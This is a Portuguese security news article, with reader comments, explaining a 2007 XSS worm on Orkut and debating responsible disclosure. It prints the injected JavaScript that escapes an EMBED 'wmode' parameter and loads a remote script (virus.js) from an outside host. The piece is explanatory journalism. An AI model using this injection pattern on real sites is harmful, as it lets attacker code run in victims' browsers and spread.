As primeiras horas da quarta-feira (19/12) foram certamente um caos para os usuários do Orkut. Um “worm” feito em Javascript “infectou” mais de 660 mil perfis na rede social do Google.

Na verdade, a “infecção” simplesmente se dava por meio da adição automática da vítima à uma comunidade de nome “Infectados pelo vírus do Orkut”. Os usuários presentes na lista de amigos do internauta então recebiam o mesmo scrap malicioso, que por sua vez os fazia repetir as mesmas ações (enviar novamente o scrap, entrar na comunidade). Algumas pessoas reclamaram da impossibilidade de enviar scraps após a infecção, mas isto ocorria devido ao filtro do Orkut e não por ação do código.

Em outras palavras, nenhum arquivo era instalado no disco rígido. Nenhuma informação era roubada. Apenas a comunidade crescia e os scraps eram enviados. Não é possível dizer que havia intenção maliciosa.

O “worm” só funcionou devido a um erro do Orkut no processamento de um atributo da tag EMBED usada para inserir objetos Flash. Quando um usuário insere um EMBED, o Orkut transforma o HTML em um Javascript e cada parâmetro usado no EMBED é passado por meio de uma função Javascript. Para quem entende os códigos, o worm (cujo código decodificado pode ser visto no Pastebin) enviava este EMBED para o Orkut:

A parte em negrito antecipa a transformação que o Orkut fará para Javascript e possibilitará que a parte em itálico seja executada em vez de exibida na tela ou simplesmente ignorada. Quando ele for transformado, ficará desta forma:

To view this content, upgrade to the latest Flash plug-in version at http://www.macromedia.com/go/getflashplayer.

var flashWriter = new _SWFObject(‘http://www.orkut.com/LoL.aspx’, ‘…’, ‘1’, ‘1’, ‘9’, ‘#FFFFFF’, ‘autohigh’, ”, ”, ‘…’);

flashWriter._addParam(‘wmode’, ‘transparent‘);

script=document.createElement(‘script’);

script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’;

document.getElementsByTagName(‘head’)[0].appendChild(script);escape(”);


flashWriter._addParam(‘allowNetworking’, ‘internal’);

flashWriter._addParam(‘allowScriptAccess’, ‘never’);

flashWriter._setAttribute(‘style’, ”);

flashWriter._write(‘flashDiv….’);

Isto faz com que o “addParam”, que adiciona os parâmetros ao EMBED pelo script, seja terminado, dando o controle ao script que segue. Este tipo de erro possibilita ataques do tipo XSS (Cross-site Scripting): foi um erro no processamento dos dados enviados (neste caso, no atributio ‘wmode’ da tag EMBED) que possibilitou o ataque.

Efetivamente, qualquer código poderia ter sido executado no navegador. Um indivíduo realmente malicioso poderia ter utilizado exploits para instalar cavalos de tróia, ladrões de senha ou qualquer outro tipo de praga digital no sistema de vítimas que estivessem com o navegador desatualizado.

Se por um lado o responsável por este ataque poderia ter avisado o Google a respeito deste erro de processamento para que o mesmo fosse corrigido sem nenhum incômodo aos usuários, por outro as conseqüências foram pequenas considerando-se a gravidade do problema.

O Google já corrigiu esta brecha; para que algo deste gênero ocorra outra vez, uma falha diferente terá que ser encontrada. Mas vale lembrar que o Orkut já teve problemas semelhantes em pelo menos dois episódios anteriores.

Escrito por Altieres Rohr

Editor da Linha Defensiva.

11 comentários

  1. Discordo da parte “o responsável por este ataque poderia ter avisado o Google a respeito deste erro de processamento para que o mesmo fosse corrigido”, parece que apenas avisar o Google não basta… quantos bugs já não foram reportados e nada foi feito? Infelizmente é preciso que haja um grande “estrago” para que alguma providência seja tomada!

    Curtir

    Responder

  2. Daniel

    É verdade. Mas se o responsável quer tanto fazer barulho, bastaria ter avisado o Google, dado um tempo (sei lá, duas semanas? é um bug simples) e depois ter divulgado os detalhes da brecha numa lista de discussão pública.

    Curtir

    Responder

  3. Ah, eu gostei. Teve bom humor, nao prejudicou ninguem e chamou atenção para o problema. Se quisesse, poderia ter ferrado muita gente.

    Curtir

    Responder

  4. Bom, conheço o cara responsável por esse Script. A intenção dele foi somente mostrar q o Orkut ainda é vulnerável a ataques q possam comprometer a integridade de seus usuários. Por isso ñ ele ñ avisou a administração do Orkut sobre o Bug. Realmente o efeito do Código foi mt alto, a brecha pode t sido corrigida, mas até hj as vítimas ñ conseguem nem mais sair da comunidade q entraram através do Script.

    Curtir

    Responder

  5. Daniel G. Batista 23/12/2007 às 11:38

    Realmente, é vergonhosa a atitude desse que se diz ser o suporte do orkut, e num ato de vingança, deletar não só o perfil do Rodrigo Lacerda, descobridor da falha:]
    http://www.orkut.com/Profile.aspx?uid=1707700121110059969 mas também sua conta de Google, fazendo o perder seu Gmail, Blog, Adsense entre outros serviços.

    Infelizmente essa é a única maneira para o site http://www.orkut.com conseguir destaque mundial e deixar de ser popular somente no Brasil e Índia.
    Quem sabe o suporte do orkut/google aprenda a lição e siga a idéia do próprio Rodrigo, que é criar um canal especial para reportar falhas. Pois como foi visto, ela poderia ser usada de uma forma mais destruidora.
    Espero também que o Orkut Team deixe de ser arrogante, e assuma que toda ajuda parte dos usuários do site.

    Curtir

    Responder

  6. Daniel G. Batista

    Se o Sr. Rodrigo teve essa “idéia”, isso só mostra o nível de “conhecimento” do sujeito, visto que tal canal já existe e minha experiência com eles foi muito boa: corrigiram uma falha no YouTube em 12 horas num fim de semana.

    Curtir

    Responder

  7. Ele utilizou uma forma nada agradável de “mostrar”o problema.
    Vcs conseguiram descobrir como voltar a mandar recados??
    Se não fossem vocês eu estaria me desesperando aki em ksa.

    Curtir

    Responder

  8. Quero dar os parabéns pelo que ele fez, pois gosto muito de segurança e isso mostra a fragilidade de vários sistemas, independente de ser do Google, Microsoft, Yahoo, MSN, Apple… todos têm falhas de segurança.

    Ele provou ser ético, e isso mostra para todos os ´desinformados´ a grande diferença que existe entre HACKER e CRACKER.

    Concordo com o Daniel G. Batista, se fizeram realmente isso com ele, foi um ato de vigança e mais que isso: criancice. Vamos aguardar ele se pronunciar no seu blog.

    Curtir

    Responder

  9. Altieres, discordo quando você diz que o JS é “não-malicioso”. Não importa aqui a intenção do autor nem tampouco que ele poderia fazer mais mal, e sim o comportamento do software. Um software que tem comportamento viral e muda configurações do usuário (no caso a inclusão em uma comunidade) sem o seu consentimento é claramente um malware.

    Abracos,
    – Fernando Cima

    Curtir

    Responder

  10. Fernando Cima

    Na matéria, eu chamei o scrap com o exploit de malicioso.

    Minha intenção é apenas acalmar o pessoal que acha que está “infectado” com algo perigoso. Muita gente estava pensando que precisava “desinfectar” o computador ou algo do gênero — o que também aconteceu na época do Yamanner, e as companhias antivírus diziam que era necessário “fazer um scan com o antivírus” na lista de passos para desinfecção.

    Penso que ainda falta uma definição clara para esse tipo de praga que funciona apenas no escopo do website; não é justo deixá-la na mesma categoria de worm que o Blaster, Bots ou Opaserv, ou dos worms de MySpace que usam exploits.

    Eu não concordo com o que foi feito aqui. Acredito que o responsável devia ter avisado o Google e esperado eles corrigirem a brecha independentemente do tempo necessário até que isso acontecesse. Mas palavras como “vírus”, “worm” e etc são muito pesadas para os usuários e costumam causar pânico desnecessariamente.

    Ainda assim, repito: não concordo com o que foi feito e meu uso da palavra “não-malicioso” não significa que eu ache que o que foi feito é certo.

    Curtir

    Responder

  11. Olá, bom acho que o Sr. Rodrigo queria aparecer mostrar um pouco do seu conhecimento e acabou conseguindo, mas não sei se ele gostou da tal fama pois na comunidade: Infectados pelo virús do Orkut, tem uma pessoa chamada Laura que fez textos imensos e muito bem escritos dando uma baita lição de moral no rapaz.

    Ana Clara

    O “worm” não bloqueava ninguém de mandar recados e etc… o que ele fazia era mandar recado para a sua lista de amigos, para que os mesmos fossem “infectados” e como a lista de todos geralmente é extensa e pelo que sei quando se manda recados para mais de 280 pessoas você é considerada pelo orkut como SPAMMER e fica bloqueado de fazer muitas coisas no seu perfil como: enviar scraps, fotos, videos e etc…

    e foi isso que aconteceu, após enviar a quantia X de scrap o perfil de muita gente foi “bloqueado” por um periódo X de tempo e depois voltou ao normal.

    Abraços.

    Curtir

    Responder

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.